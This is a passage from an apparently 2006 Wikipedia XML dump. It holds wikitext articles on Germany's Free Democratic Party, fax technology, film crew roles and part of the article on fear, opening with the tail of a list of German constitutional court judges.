*[[Ernst Gottfried Mahrenholz]]
*[[Rudolf Mellinghoff]]
*[[Gebhard Müller]]
*[[Engelbert Niebler]]
*[[Gisela Niemeyer]]
*[[Lerke Osterloh]]
*[[Hans-Jürgen Papier]]
*[[Theodor Ritterspach]]
*[[Joachim Rottmann]]
*[[Wiltraut Rupp-von Brünneck]]
*[[Erna Scheffler]]
*[[Fabian von Schlabrendorff]]
*[[Helga Seibert]]
*[[Otto Seidl]]
*[[Walter Seuffert]]
*[[Helmut Simon]]
*[[Alfred Söllner]]
*[[Bertold Sommer]]
*[[Helmut Steinberger]]
*[[Udo Steiner]]
*[[Ernst Träger]]
*[[Friedrich Wilhelm Wagner]]
*[[Klaus Winter]]
*[[Wolfgang Zeidler]]

== External links == 

* [http://www.bundesverfassungsgericht.de/ www.bundesverfassungsgericht.de], the Court's website
* [http://bundesrecht.juris.de/bundesrecht/bverfgg/inhalt.html Federal Constitutional Court Act (BVerfGG)] in German

{{Supreme Courts of Germany}}

[[Category:German law]]
[[Category:National supreme courts|Germany]]

[[de:Bundesverfassungsgericht]]
[[fr:Bundesverfassungsgericht]]
[[ja:連邦憲法裁判所]]
[[pl:Federalny Trybunał Konstytucyjny]]</text>
    </revision>
  </page>
  <page>
    <title>Free Democratic Party (Germany)</title>
    <id>10825</id>
    <revision>
      <id>41765153</id>
      <timestamp>2006-03-01T16:09:58Z</timestamp>
      <contributor>
        <username>LARS</username>
        <id>154979</id>
      </contributor>
      <comment>This is NPOV, since shown by example.</comment>
      <text xml:space="preserve">{{Infobox_German_Political_Party |
  party_name     = Freie Demokratische Partei |
  party_logo     = [[Image:FDP-logo.png|125px|FDP logo]] |
  party_wikicolourid     = FDP |
  leader = [[Guido Westerwelle|Dr. Guido Westerwelle]] |
  foundation     = [[December 11th]], [[1948]] |
  ideology = [[Liberal democracy]],&lt;br&gt;[[Liberalism]] |
  international = [[Liberal International]] |
  european = [[European Liberal Democrat and Reform Party]] |
  europarl = [[Alliance of Liberals and Democrats for Europe]] |
  colours = [[blue]]/[[yellow]]|
  headquarters   =  Thomas-Dehler-Haus&lt;br&gt;Reinhardtstraße 14&lt;br&gt;10117 [[Berlin]] |
  website = [http://www.fdp.de/ www.fdp.de]
}}

The '''Free Democratic Party''' (''Freie Demokratische Partei'' - FDP) is a [[liberalism|liberal]] [[political party]] in [[Germany]]. The party's ideology combines [[free market|free-market]] economics with broad [[individual rights|individual liberties]]. The FDP is currently the third-largest party in the [[Bundestag]].

The FDP was formed on [[December 11]], [[1948]], by local liberal parties. These were founded since 1945 by former members of the liberal [[German Democratic Party]] (DDP) and some from the center-right [[German People's Party]] (DVP). The FDP's first chairman, [[Theodor Heuss]], was a former leader of the DDP. The FDP has traditionally been composed mainly of [[middle class|middle-class]] and [[upper class|upper-class ]] [[Protestant|Protestants]] who consider themselves &quot;independents&quot; and heirs to the [[Liberalism in Europe|European liberal tradition]]. The party is a relatively weak institutional party, gaining between 5.8 and 12.8% of the votes in federal elections. However, it has participated as a junior partner in all but six postwar federal governments in coalition with either the [[Christian Democratic Union (Germany)|Christian Democrats]] (CDU) or the [[Social Democratic Party of Germany|Social Democrats]] (SPD). Thus it has spent only about 15 years out of government since [[1949]]. It has generally distinguished itself from the CDU and the SPD by advocating more market oriented policies.

The party became involved in controversy after ironically declaring itself to be the party of the &quot;Besserverdienenden&quot; (&quot;better-earning people&quot;), after the SPD had advocated a special tax for the &quot;Besserverdienenden&quot;. Political adversaries say it opposes the interests of poorer people. 

Over the course of its history the party's economic policies have shifted between [[social liberalism]] (in an European meaning) and [[market liberalism]]. However, since the [[1980s]] the FDP has maintained a for German standards consistent free-market stance. Many of it policies acknowledge that certain aims can not be reached by market mechanisms alone and would not be seen as free-market policies in America. Examples for this are a support of a minimum welfare eglibility for everybody and strong anti-trust policies.

Regarding social issues as e.g. civil rights, immigration, its attitude to religion in the public sphere or anti-discrimination of homosexuals the party has always been social-liberal (in the American usage of the word), especially more so than the CDU or the SPD. In contrast to SPD and CDU it is in favour of ending [[conscription in Germany]].

In foreign policy the FDP supports European integration and transatlantic partnership.

In all federal election campaigns since the 1980s, the party has sided with the CDU and CSU, the main conservative parties in Germany. Following German reunification in [[1990]], the FDP merged with the [[Association of Free Democrats]], a grouping of liberals from [[East Germany]]. During the [[1990s]], the FDP won between 6.2 and 11 percent of the vote in Bundestag elections. Between 1990 and 1998, it served as the junior partner in the government of Chancellor [[Helmut Kohl]] of the CDU.

In the [[German federal election, 2005|2005 general election]] the party received 9.8 percent and 61 federal deputies, a unpredicted jump from prior opinion polls. This has been explained as [[tactical voting]] by those who support strong economic reforms. However, because the CDU did less well than predicted, the FDP and the CDU could not form a coalition government. Instead, the CDU formed a &quot;[[Grand Coalition]]&quot; with the SPD, and the FDP entered the [[opposition (parliamentary)|opposition]].

[[Image:FDPposter200508.jpg|thumb|right|Election placard of the Free Democratic Party (Germany) for the [[German federal election, 2005]].]]
The party's motto is &quot;So viel Staat wie nötig, so wenig Staat wie möglich!&quot;, meaning &quot;as much state as necessary, as little state as possible!&quot;

===Chairmen of the Free Democratic Party, 1948-present===
*[[Theodor Heuss]] 1948-1949
*[[Franz Blücher]] 1949-1954
*[[Thomas Dehler]] 1954-1957
*[[Reinhold Maier]] 1957-1960
*[[Erich Mende]] 1960-1968
*[[Walter Scheel]] 1968-1974
*[[Hans-Dietrich Genscher]] 1974-1985
*[[Martin Bangemann]] 1985-1988
*[[Otto Graf Lambsdorff]] 1988-1993
*[[Klaus Kinkel]] 1993-1995
*[[Wolfgang Gerhardt]] 1995-2001
*[[Guido Westerwelle]] 2001-

==See also==
*[[Liberalism]]
*[[Contributions to liberal theory]]
*[[Liberalism worldwide]]
*[[List of liberal parties]]
*[[Liberal democracy]]
*[[Liberalism in Germany]]
*[[Friedrich Naumann Foundation]]
*[[Young Liberals (Germany)]]

==External links==
*[http://www.fdp.de/ Free Democratic Party (FDP)] official site

[[Category:Political parties in Germany]]
[[Category:Liberal parties]]
[[Category:1948 establishments]]

[[da:FDP]]
[[de:Freie Demokratische Partei]]
[[es:Freie Demokratische Partei]]
[[fr:Freie Demokratische Partei]]
[[nl:Freie Demokratische Partei (BRD)]]
[[no:Freie Demokratische Partei]]
[[pl:Partia Wolnych Demokratów]]
[[pt:Freie Demokratische Partei]]
[[ru:Свободная демократическая партия Германии]]
[[fi:Liberaalidemokraattinen puolue (Saksa)]]
[[sv:FDP]]
[[zh:自由民主黨 (德國)]]</text>
    </revision>
  </page>
  <page>
    <title>Fax</title>
    <id>10826</id>
    <revision>
      <id>41921647</id>
      <timestamp>2006-03-02T17:09:31Z</timestamp>
      <contributor>
        <ip>68.47.233.37</ip>
      </contributor>
      <text xml:space="preserve">'''Fax''' (short for '''facsimile''' - from [[Latin]] &quot;fac simile&quot;, &quot;make similar&quot;, i.e. &quot;make a copy&quot; - or '''telefacsimile''') is a [[telecommunications]] technology used to transfer copies of documents, especially using affordable devices operating over the [[telephone]] network. The words '''telecopy''' and '''telefax''' are also used as [[synonym]]s.

==Overview==

A fax machine is essentially an [[image scanner]], a [[modem]], and a [[computer printer]] combined into a highly specialized package.  The scanner converts the content of a physical document into a digital image, the modem sends the image data over a phone line, and the printer at the other end makes a duplicate of the original document.  

Fax machines with additional electronic features can connect to computers, can be used to scan documents into a computer, and to print documents from the computer.  Such high-end devices are called [[multifunction printer]]s and cost more than fax machines.

Modern fax technology became feasible only in the mid-[[1970s]] as the sophistication and cost of the three underlying technologies improved to a reasonable level.  Fax machines first became popular in [[Japan]], where they had a clear advantage over competing technologies like the [[teleprinter]]; at the time, before the development of easy-to-use [[input method editor]]s, it was faster to handwrite [[kanji]] than to type the characters. Over time, faxing gradually became affordable, and by the mid-[[1980s]], fax machines were very popular around the world.

However, although most businesses still maintain some kind of fax capability, the technology appears increasingly dated in the world of the Internet.

==Capabilities==

There are several different indicators of fax capabilities: Group, class, data transmission rate, and conformance with ITU-T (formerly CCITT) recommendations.

===Group===
* Group 1 faxes conform to the ITU-T Recommendation T.2. Group 1 faxes take six minutes to transmit a single page, with a vertical resolution of 98 scan lines per inch. Group 1 fax machines are obsolete and no longer manufactured.
* Group 2 faxes conform to the ITU-T Recommendations T.30 and T.3. Group 2 faxes take three minutes to transmit a single page, with a vertical resolution of 100 scan lines per inch. Group 2 fax machines are almost obsolete, and not manufactured.  Group 3 fax machines can interoperate with Group 2 fax machines.
* Group 3 faxes conform to the ITU-T Recommendations T.30 and T.4. Group 3 faxes take between six and fifteen seconds to transmit a single page (not including the initial time for the fax machines to handshake and synchronise). The horizontal and vertical resolutions are allowed by the T.4 standard to vary among a set of fixed resolutions:
**Horizontal: 100 scan lines per inch
***Vertical: 100 scan lines per inch
**Horizontal: 200 or 204 scan lines per inch
***Vertical: 100 or 98 scan lines per inch ('Standard')
***Vertical: 200 or 196 scan lines per inch ('Fine')
***Vertical: 400 or 391 (note not 392) scan lines per inch ('Superfine')
**Horizontal: 300 scan lines per inch
***Vertical: 300 scan lines per inch
**Horizontal: 400 or 408 scan lines per inch
***Vertical: 400 or 391 scan lines per inch
* Group 4 faxes conform to the ITU-T Recommendations T.563, T.503, T.521, T.6, T.62, T.70, T.72, T.411 to T.417. They are designed to operate over 64 kbit/s digital ISDN circuits. Their resolution is determined by the T.6 recommendation, which is a superset of the T.4 recommendation.

===Class===
Computer modems are often designated by a particular fax class, which indicates how much processing is offloaded from the computer's cpu to the fax modem.

*Class 1 fax devices do fax data transfer where the T.4/T.6 data compression and T.30 session management are performed by software on a controlling computer. This is described in ITU-T recommendation T.31.
*Class 2 fax devices perform T.30 session management themselves, but the T.4/T.6 data compression is performed by software on a controlling computer. The relevant ITU-T recommendation T.32.

===Data transmission rate===
Several different telephone line modulation techniques are used by fax machines. They are negotiated during the fax-[[modem]] [[handshaking|handshake]], and the fax devices will use the highest data rate that both fax devices support, usually a minimum of 14.4 kbit/s for Group 3 fax.

{| border=&quot;1&quot; cellpadding=&quot;2&quot;
!ITU Standard
!Released Date
!Data Rates (bit/s)
!Modulation Method
|-
|V.27
|1988
|4800, 2400
|[[phase-shift keying|PSK]]
|-
|V.29
|1988
|9600, 7200, 4800
|[[quadrature amplitude modulation|QAM]]
|-
|V.17
|1991
|14400, 12000, 9600, 7200
|[[trellis modulation|TCM]]
|-
|V.34
|1994
|28800
|[[quadrature amplitude modulation|QAM]]
|}

Note that 'Super Group 3' faxes use [[V.34bis]] modulation that allows a data rate of up to 33.6 kbit/s.

===Compression===
As well as specifying the resolution (and allowable physical size of the image being faxed), the ITU-T T.4 recommendation specifies two compression methods for decreasing the amount of data that needs to be transmitted between the fax machines to transfer the image. The two methods are:
*[[Modified Huffman coding|Modified Huffman]] (MH), and
*[[Modified READ]] (MR)

====Modified Huffman====
Modified Huffman (MH) is a codebook-based run-length encoding scheme optimised to efficiently compress whitespace.  As most faxes consists mostly of white space, this minimises the transmission time of most faxes. Each scanned line is compressed independently of its predecessor and successor.

====Modified Read====
Modified Read (MR) encodes the first scanned line using MH. The next line is compared to the first, the differences determined, and then the differences are encoded and transmitted.  This is effective as most lines differ little from their predecessor.  This is not continued to the end of the fax transmission, but only for a limited number of lines until the process is reset and a new 'first line' encoded with MH is produced.  This limited number of lines is to prevent errors propagating throughout the whole fax, as the standard does not provide for error-correction.  MR is an optional facility, and some fax machines do not use MR in order to minimise the amount of computation required by the machine. The limited number of lines is two for 'Standard' resolution faxes, and four for 'Fine' resolution faxes.

The ITU-T T.6 recommendation adds a further compression type of [[Modified Modified READ]] (MMR), which simply allows for a greater number of lines to be coded by MR than in T.4.  This is because T.6 makes the assumption that the transmission is over a circuit with a low number of line errors such as digital ISDN. In this case, there is no maximum number of lines for which the differences are encoded.

===Typical characteristics===
Group 3 fax machines transfer one or a few printed or handwritten pages per minute in black-and-white (bitonal) at a [[resolution]] of 100x200 or 200x200 dots per inch. The transfer rate is 14.4 kilo[[bit]]s per second (kbit/s) or higher (but fax machines support speeds beginning with 2400 bit/s). The transferred image formats are called [[ITU-T]] (formerly CCITT) fax group 3 or 4.

The most basic fax mode transfers black and white only. The original page is scanned in a resolution of 1728 [[pixel]]s/line and 1145 lines/page (for [[A4 paper size|A4]]). The resulting raw data is [[data compression|compressed]] using a modified [[Huffman coding|Huffman code]] optimized for written text, achieving average compression factors of around 20. Typically a page needs 10 s for transmission, instead of about 3 minutes for the same uncompressed raw data of 1728×1145 bits at a speed of 9600 bit/s. The compression method uses a Huffman codebook for run lengths of black and white runs in a single scanned line, and it can also uses the fact that two adjacent scanlines are usually quite similar, saving bandwidth by encoding only the differences.

There are different fax classes, including Class 1, Class 2 and Intel CAS.

Fax machines from the 1970s to the 1990s often used direct [[thermal printer]]s as their printing technology, but since the mid-1990s there has been a transition towards [[thermal transfer printer]]s and [[inkjet printer]]s. 

One of the advantages of inkjet printing is that inkjets can affordably print in [[color]]; therefore, many of the inkjet-based fax machines claim to have color fax capability.  There is a standard called ITU-T30e for faxing in color; unfortunately, it is not yet widely supported, so many of the color fax machines can only fax in color to machines from the same manufacturer.

==Alternatives==

A modern alternative for sending a fax is sending an [[email]] with one or more [[image]] [[Computer file|file]]s as [[attachment]]s. This allows color and is more versatile with respect to resolution. See [[Internet fax]]

At the receiving end, much research has occurred into how to more efficiently process incoming faxes, now that digital storage is much cheaper than it was in the 1970s, and [[junk fax]]es have become a common problem (and an enormous waste of paper).  

Some high-end communications servers do not automatically print out all incoming faxes, but instead integrate them into a single in-box along with other forms of [[store and forward]] communications like email and [[voice mail]] (see [[Unified Messaging|unified messaging]]).

==History==

Scottish inventor [[Alexander Bain (inventor)|Alexander Bain]] is often credited with the first fax patent in [[1843]]. He used his knowledge of electric [[clock]] [[pendulum]]s to produce a back-and-forth line-by-line scanning mechanism.

In [[1861]] the first fax machine, [[Pantelegraph]], was sold by [[Giovanni Caselli]] - before even the invention of workable [[telephone|telephones]].

As a designer for the [[Radio Corporation of America]] (RCA), in 1924, [[Richard H. Ranger]] invented the wireless photoradiogram, or transoceanic [[radiofax|radio facsimile]], the forerunner of today’s &quot;Fax&quot; machines. A photograph of President [[Calvin Coolidge]] sent from New York to London on November 29th 1924 became the first photo picture reproduced by transoceanic radio facsimile. Commercial use of Ranger’s product began two years later. Radio fax is still in common use today for transmitting weather charts and information.

An early method for facsimile transmission, the [[Hellschreiber]], was invented in [[1929]] by [[Rudolf Hell]], a pioneer in mechanical image scanning and transmission.

In [[1985]] Dr [[Hank Magnuski]], founder of [[GammaLink]], produced the first computer fax board, called [[GammaFax]].

==See also==
*[[error correction mode]] (ECM)
*[[telautograph]]
*[[WinFax]]
*[[Faxmail for windows]]

== External links ==
* [http://www.hffax.de/html/hauptteil_faxhistory.htm A Brief History of Facsimile]
* [http://www.worldfax.com/fax_history.shtml What is Fax and History of Fax]
* [http://www.savetz.com/fax/ FAQ: How can I send a fax from the Internet?]
* [http://www.duxcw.com/digest/editorial/fax.htm Death of the Fax Machine!]
*[http://www.blacktable.com/leitch050803.htm Stupidity of Faxing][[category: Telecommunications_equipment]]
[[Category:ITU-T recommendations]]
[[Category:Office equipment]]
[[Category:Computer peripherals]]

[[cs:Fax]]
[[de:Fax]]
[[el:Τηλεομοιοτυπία]]
[[es:Fax]]
[[fr:Télécopieur]]
[[it:Telefax]]
[[he:פקס]]
[[nl:Fax]]
[[ja:ファクシミリ]]
[[no:Telefaks]]
[[pl:Telefaks]]
[[pt:Fax]]
[[ro:Fax]]
[[ru:Факс]]
[[sk:Fax]]
[[sl:Telefaks]]
[[sv:Telefax]]
[[zh:傳真機]]</text>
    </revision>
  </page>
  <page>
    <title>Film crew</title>
    <id>10827</id>
    <revision>
      <id>40694970</id>
      <timestamp>2006-02-22T10:19:43Z</timestamp>
      <contributor>
        <username>Solipsist</username>
        <id>49943</id>
      </contributor>
      <comment>Move new image to more appropriate place at [[Camera operator]]</comment>
      <text xml:space="preserve">[[Image:FilmCrew.jpg|thumb|right|Film crew and equipment on a location shoot.]]
A '''film crew''' is a group of people hired by a film company for the purpose of producing a [[film]] or motion picture. ''Crew'' are distinguished from ''cast'', the [[actor]]s who appear in front of the [[camera]] or provide voices for characters in the film.  ''Crew'' are also separate from ''producers'', those who own a portion of either the film company or the film's [[intellectual property rights]].
 
A film crew is divided into different departments, each of which specializes in a specific aspect of the production.


== Production ==

*'''[[Production manager]]'''
:The production manager supervises the physical aspects of the production (not the creative aspects), including personnel, technology, budget, and scheduling. It is the production manager's responsibility to make sure the filming stays on schedule and within its budget, and also helps manage the day-to-day budget, managing operating costs such as salaries, production costs, and everyday equipment rental costs. The production manager often works under the supervision of a [[line producer]]. 
*'''[[Unit manager]]'''
:The unit manager fulfills the same role as the production manager but for secondary &quot;unit&quot; shooting.
*'''[[Production Coordinator]]'''
:The Production Coordinator is an under appreciated but integral part of film making, responsible for organizing all the logistics from hiring crew, renting equipment, booking talent to making sure the star has only green [[M&amp;M's]] in their trailer.

*'''[[Film director|Director]]'''
:The director is resposible for overseeing the creative aspect of a film, including controlling the content and flow of the film's plot, directing the performances of actors, organizing and selecting the locations in which the film will be shot, and managing technical details such as the positioning of cameras, the use of lighting, and the timing and content of the film's soundtrack.  Though the director wields a great deal of power, he or she is ultimately subordinate to the film's producer or producers.  Some directors, especially more established ones, take on many of the roles of a producer, and the distinction between the two roles is sometimes blurred.  In the United States, directors usually belong to the [[Directors Guild of America]]. The Canadian equivalent is the [[Directors Guild of Canada]].
*'''[[Assistant director|First assistant director]]'''
:The first assistant director (1st AD) assists the production manager and director.  He or she is in charge of overseeing the day-to-day management of the cast and crew scheduling, equipment, script, and set.  A 1st AD may also be responsible for directing background action for major shots or the entirety of relatively minor shots, at the director's discretion.
*'''[[Assistant director|Second assistant director]]'''
:The second assistant director (2nd AD) is the chief assistant of the 1st AD and helps carry out those tasks delegated to the 1st AD.  The 2nd AD may also direct background action and [[extra (drama)|extras]] in addition to helping the 1st AD with scheduling, booking, script supervision, etc.
*'''[[Production assistant]]'''
:A production assistant assists the first assistant director with set operations.  
*'''[[Script supervisor]]'''
:Also known as the &quot;continuity person&quot;, the script supervisor keeps track of what parts of the script have been filmed and makes notes of any deviations between what was actually filmed and what appeared in the script, thereby ensuring that consistency is maintained from shot to shot.
*'''[[Production accountant]]'''
:The production accountant assists the production manager and line producer in keeping track of the film's budget. The production accountant, together with his or her various assistants, are often considered to be a separate department.
*'''[[Location manager]]'''
:The location manager assists the [[film director|Director]] and the [[Production designer]] in finding, securing, and coordinating filming locations. ''Locations'' is often considered to be a separate department.
*'''[[Publicist]]'''
:The publicist handles the [[publicity]] of a film.  They promote the film by issuing press releases and overseeing advertisements.

== Art ==

*'''[[Production designer]]'''
:A production designer is responsible for creating the physical, visual appearance of the film - settings, costumes, properties, character makeup, all taken as a unit. The production designer works closely with the director and the cinematographer to achieve the 'look' of the film. The term was created in [[1939]] in respect for the amount and level of design work single-handedly accomplished by [[William Cameron Menzies]] on the film ''[[Gone with the Wind]]''. Previously, and often subsequently, the person(s) with the same responsibility had been called &quot;art directors.&quot;
*'''[[Art director]]'''
:The art director reports to the production designer, and more directly oversees artists and craftspeople, such as the set designer and set decorator, who carry out the production design.
*'''[[Set designer]]'''
:The set designer is the draftsman, often an architect, who actually realizes the structures or interior spaces called for by the production designer.
*'''Assistant art director'''
:The first, second and third assistant art directors carry out the instructions of the art director. Their work often involves measuring locations, creating graphics and paper props, collecting information for the production designer and drawing sets. Sometimes a set designer is also the first assistant art director; in this capacity, he or she manages the work flow and acts as the 'foreman' of the drawing office.
*'''[[Set decorator]]'''
:The set decorator is in charge of the decorating of a film set, which includes the furnishings and all the other objects that will be seen in the film. He or she works closely with the production designer and coordinates with the art director. In recognition of the set decorator's importance, the [[Academy Award]] for Art Direction is given jointly to both the production designer and the set decorator.
*'''[[Property master]]'''
:The property master is in charge of finding and managing all the [[prop]]s that appear in the film.


== Hair/makeup ==

*'''[[Makeup artist]]'''
:Makeup artists are beauticians that apply [[makeup]] to anyone appearing on screen. They concentrate on the area above the chest, the face, the top of the head, the fingers, hands, arms, and elbows. Their role is to manipulate an actors on screen appearance whether it makes them look more youthful, larger, older, or in some cases monstrous. There are also body makeup artist who concentrate their abilities on the body rather than the head.
*'''[[Hairdresser]]'''
:The hairdresser (or &quot;hair stylist&quot;) is resposible for maintaining and styling the hair of anyone appearing on screen.  They work in conjunction with the makeup artist. 

== Wardrobe ==

*'''[[Costume designer]]'''
:The costume designer makes all the clothing and costumes worn by all the actors on screen, as well as designing, planning, and organizing the construction of the garments down to the fabric, colors, and sizes.
*'''[[Set costumer]]'''
:The set costumer is the costume designer's assistant.  In addition to helping with the design of the costumes, the set costumer is responsible for the storage and maintenance of the costumes, and assists the actors and actresses with them.

== Camera ==

*'''[[Director of photography]]'''
:The director of photography is the chief of the camera and lighting crew of the film.  The DoP makes decisions on lighting and framing of scenes in conjuction with the film's director.  Typically, the director tells the DoP how he or she wants the film to look, and the DoP then chooses the correct aperature, filter, and lighting to achieve the desired effect.
*'''[[Cinematographer]]'''
:The term cinematographer has been a point of contention for some time now.  It is usually synonymous with &quot;director of photography,&quot; though some professionals insist that it only applies when the director of photography and camera operator are the same person.  In America, cinematographers (and directors of photography, camera operators, camera assistants and still photographers) are represented by the Local 600 International Cinematographers Society, a labor union division of the IATSE ([[International Alliance of Theatrical Stage Employes]]). In Canada, they are represented by Locals 667 and 669. An elite collection of American cinematographers are members of the [[American Society of Cinematographers]], a trade orginization that represents the upper echelon of talent in cinematography. Equivalents in other countries include the [[Canadian Society of Cinematographers]], the [[British Society of Cinematographers]] and the [[Australian Cinematographers Society]].
*'''[[Camera operator]]'''
:The camera operator uses the camera at the direction of the cinematographer, director of photography, or the film director to capture the scenes on film.  Generally, a cinematographer or director of photography does not operate the camera, but sometimes these jobs may be combined.
*'''[[Focus puller|First assistant camera operator]]''' (focus puller)
:The first assistant camera operator (1AC) is responsible for keeping the camera in focus as it is shooting.  Since the 1AC is not looking through the camera and cannot see the results of his or her focusing in realtime, this job is considered to be extremely technically difficult. It is also the 1st AC's responsibility to maintain the camera during the duration of the filming period, apply or remove any necessary or unnecessary acessories (such as matte boxes, lens changes, filters, external viewing monitors, video assist devices, etc.), reload the camera (whether with film or video tape) and oversee the 2nd Assistant camera operator and any other members of the camera assist team (including desiginated loaders and camera production assistants).
*'''[[Clapper loader|Second assistant camera operator]]''' (&quot;[[clap boy]]&quot;)
:The second assistant camera operator (2AC) operates the [[clapperboard]] at the beginning of each take and loads the raw [[film stock]] into the camera magazines between takes, if there is no additional specifically desiginated film loader.  The 2AC is also in charge of overseeing the meticulously kept notebooks that records when the film stock is received, used, and sent to the lab for processing. Additionally, the 2nd AC oversees orginization of camera equipment and transport of the equipment from one shooting location to another. 
*'''Loader'''
:The loader is the desiginated film loader. S/he transfer's motion picture film from the manufacturer's light-tight canisters to the camera magazines for attachment to the camera by the 1st AC. After exposure during filming, the loader then removes the film from the magazines and places it back into the light-tight cans for transport to the laboratory. It is the responsibility of the loader to manage the inventory of film and communicate with the 1st AC on the film usage and remaining stock throughout the day. On small production crews, this job is often combined with the 2nd AC. With the prevelance of digital photography, this position is often eliminated.
*'''Camera Production Assistant''' (camera intern)
:Usually a volunteer or trainee in the camera department, the camera PA assists the crew with menial details while learning the trade of the camera assistant, operator or cinematographer.
*'''Digital Imaging Technician''' (&quot;DIT&quot;)
:On digital photography productions the digital imaging technician is responsible for the coordination of the internal workings of the digital camera. Under the direction of the cinematographer or director of photography, the DIT will make adjustments to the multitude of variables available in most professional digital cameras to creatively or technically manipulate the resulting image.

== Production Sound ==

*'''[[Production sound mixer]]'''
:The production sound mixer is head of sound department on the set, responsible for recording all sound on a set. This requires choice and deployment of microphones, choice of recording media, and mixing of audio signals in real time.
*'''[[Boom operator (media)|Boom operator]]'''
:The boom operator is an assistant to production sound mixer, responsible for microphone placement and movement during a take.  The boom operator uses a [[boom]], a special piece of equipment that allows precise control of the microphone at a much greater distance away from the actors.

== Grip ==

*[[Grip]]
:Grips are trained lighting and rigging technicians. The main responsibilities of a grip are to work closely with the electrical department to put in the lighting set-ups necessary for a shot.  On the [[sound stage]], they are responsible for moving and adjusting major set pieces when something needs to be moved to get a camera into position.  They may belong to the [[International Alliance of Theatrical Stage Employes]].
*'''[[Key grip]]'''
:The key grip is the chief grip on a set, and is the head of the set operations department.  The key grip works with the director of photography to help set up the set and to achieve the correct lighting and blocking.
*'''[[Best boy|Best boy grip]]'''
:The best boy grip is the chief assistant to the key grip.
*'''[[Dolly grip]]'''
:The grip in charge of operating the [[camera dolly]] is called the dolly grip.  He/she places, levels, and moves the dolly track, then pushes and pulls the dolly and usually a camera operator and camera assistant as riders.

== Electrical ==

*'''[[Gaffer]]'''
:The gaffer is the head of the electrical department, responsible for the design and execution of the lighting plan for a production. Sometimes the gaffer is credited as &quot;Chief Lighting Technician&quot;.
*'''[[Best boy|Best boy electric]]
:The best boy electric is the chief assistant to the gaffer.
*'''[[Light technician]]'''
:Light technicians are involved with setting up and controlling lighting equipment.

== Editorial ==

*'''[[Film editor]]'''
:The film editor is the person who assembles the various shots into a coherent film, with the help of the director.  Film editors may belong to the [[American Cinema Editors]] (A.C.E.)
*'''[[Chyron operator]]'''
:The Chyron operator creates titles and/or text graphics -- Chryon is a brand name for a character generator.
*'''[[Color timer]]'''
:The color timer works in a film lab to adjust the color of the film.
*'''Negative cutter'''
:The negative cutter cuts and splices the negatives as directed by the film editor, and then provide the assembled negative reels to the lab in order for prints (positives for projection) to be made.

== Visual Effects ==

*'''[[Visual effects supervisor]]'''
:The visual effects supervisor is in charge of the visual effects department.  [[Visual effects]] refer to post-production alterations to the film's images.  They are not to be confused with [[special effects]], which are done during production (on set).

== Sound/Music ==

*'''[[Sound designer]]'''
:The sound designer, or &quot;supervising sound editor&quot;, is in charge of the post-production sound of a movie.  Sometimes this may involve great creative license, and other times it may simply mean working with the director and editor to balance the sound to their liking.
*'''[[Dialogue editor]]'''
:Responsible for assembling and editing all the dialog in the soundtrack.
*'''[[Sound editor]]'''
:Responsible for assembling and editing all the sound effects in the soundtrack.
*'''[[Re-Recording Mixer]]'''
:Balances all of the sounds prepared by the dialogue, music and effects editors, and finalizes the films audio track.
*'''[[Music supervisor]]'''
:The music supervisor, or &quot;music director&quot;, works with composer, mixers and editors to create and integrate the film's music.
*'''[[Composer]]'''
:The composer is resposible for writing the [[musical score]] for a film.
*'''[[Foley artist]]'''
:The foley artist is the person who creates and records many of the sound effects for a film.

== See also ==

*[[Screenplay]]
*[[Motion picture terminology]]
*[[List of movie-related topics|List of motion picture-related topics ]]
[[Category:Film]]
[[Category:Film crew|*]]</text>
    </revision>
  </page>
  <page>
    <title>Fear</title>
    <id>10828</id>
    <revision>
      <id>41556730</id>
      <timestamp>2006-02-28T03:18:25Z</timestamp>
      <contributor>
        <ip>68.54.161.91</ip>
      </contributor>
      <comment>/* See also */ no. just... no.</comment>
      <text xml:space="preserve">:''For other uses, see [[Fear (disambiguation)]].''

'''Fear''' is an unpleasant [[feeling]] of perceived [[risk]] or danger, whether it be real or imagined. Fear also can be described as a feeling of extreme dislike towards certain conditions, objects or situations such as: fear of [[darkness]], fear of [[ghost]]s, etc. It is one of the basic [[emotion]]s.
{{emotion}}

Fear may underlie some [[phenomena]] of [[behavior]] modification, although these phenomena can be explained without adducing fear as a factor in them. Furthermore, application of aversive stimuli is also often ineffective in producing change in the behaviour intended to be changed. Fearing objects or contexts can be learned; in animals this is being studied as [[fear conditioning]], which depends on the [[emotion]]al circuitry of the [[brain]].

Fear inside a person has different degrees and varies from one person to another (see also [[phobia]]). If not properly handled, fear can lead to social problems. People who experience intense fear have been known to commit irrational and/or dangerous acts. 

Some philosophers have considered fear to be a useless emotion; other thinkers note the usefulness of fear as a warning of potentially unpleasant consequences.  Still others consider that fear is the fuel that feeds the ego's (as in &quot;separating/judgmental agent&quot;) engine.

==Degrees of fear==
Fear can be described by different terms in accordance with its relative degrees. Fear covers a number of terms - [[worry]], [[terror]], [[fright]], [[paranoia]], [[Horror (emotion)|horror]], [[persecution complex]] and [[dread]].

===Distrust===
A mild stage of fear, more like caution than fear, usually focused on a person or object. Distrust is a lack of faith or belief, described as a feeling towards something questionable or unknown. For example, having distrust in a rickety old bridge across a 10,000ft drop.

===Paranoia===
Paranoia is a term used to describe a psychosis of fear, related to perception of being persecuted. (see also [[Guilt]]) This perception often causes one to change their normal behaviour in radical ways, after time their behavior may become extremely compulsive.

===Terror===
Terror refers to a pronounced state of fear, where someone becomes overwhelmed with a sense of immediate danger. Thus, terror overwhelms the person to the point of ill rational choices and non-typical behavior.

==Expression==
===Facial===
In fear, ones eyes widen and the upper lip rises. The brows draw together and the lips stretch horizontally. The speech is slurred and it takes longer to think through what one wants to say in any given situation. Eyes tend to get wide when one has fear, out of anticipation for what will happen next.

==Cause of fear==
{{See also|Mass hysteria}}

The causes of fear can vary to a surprising degree; fear is to a certain extent a &quot;cultural artifact&quot; ([[Clifford Geertz]]). In 19th century Britain, one of the biggest fears was of dying poor, unmourned, unremembered, and possibly ending up on an [[anatomist]]'s dissection table. By the early twentieth century, this had given way to a fear of being buried alive, to the extent that those who could afford it would make all sorts of arrangements to ensure this would be avoided (eg glass lids, for observation, and breathing pipes, for survival until rescued). During the [[World War II|Second World War]], fear of death by bombing was much less prevalent than during [[World War I]], even though many more bombs fell; air wardens would complain of civilians continuing to gossip on street corners instead of taking shelter. Similarly, when cars were new, fear of them was such that for a time the law required a man with a red flag to walk in front of it to warn the public; today, tens of thousands die in road accidents each year yet governments struggle to instill a real fear of [[drunk driving]] or [[speeding]].

In 2005, [[University of Toronto]] researchers traced the origin of memories to the [[prefrontal cortex]] of the brain.[http://www.news.utoronto.ca/bin6/050915-1631.asp]

==Further reading==
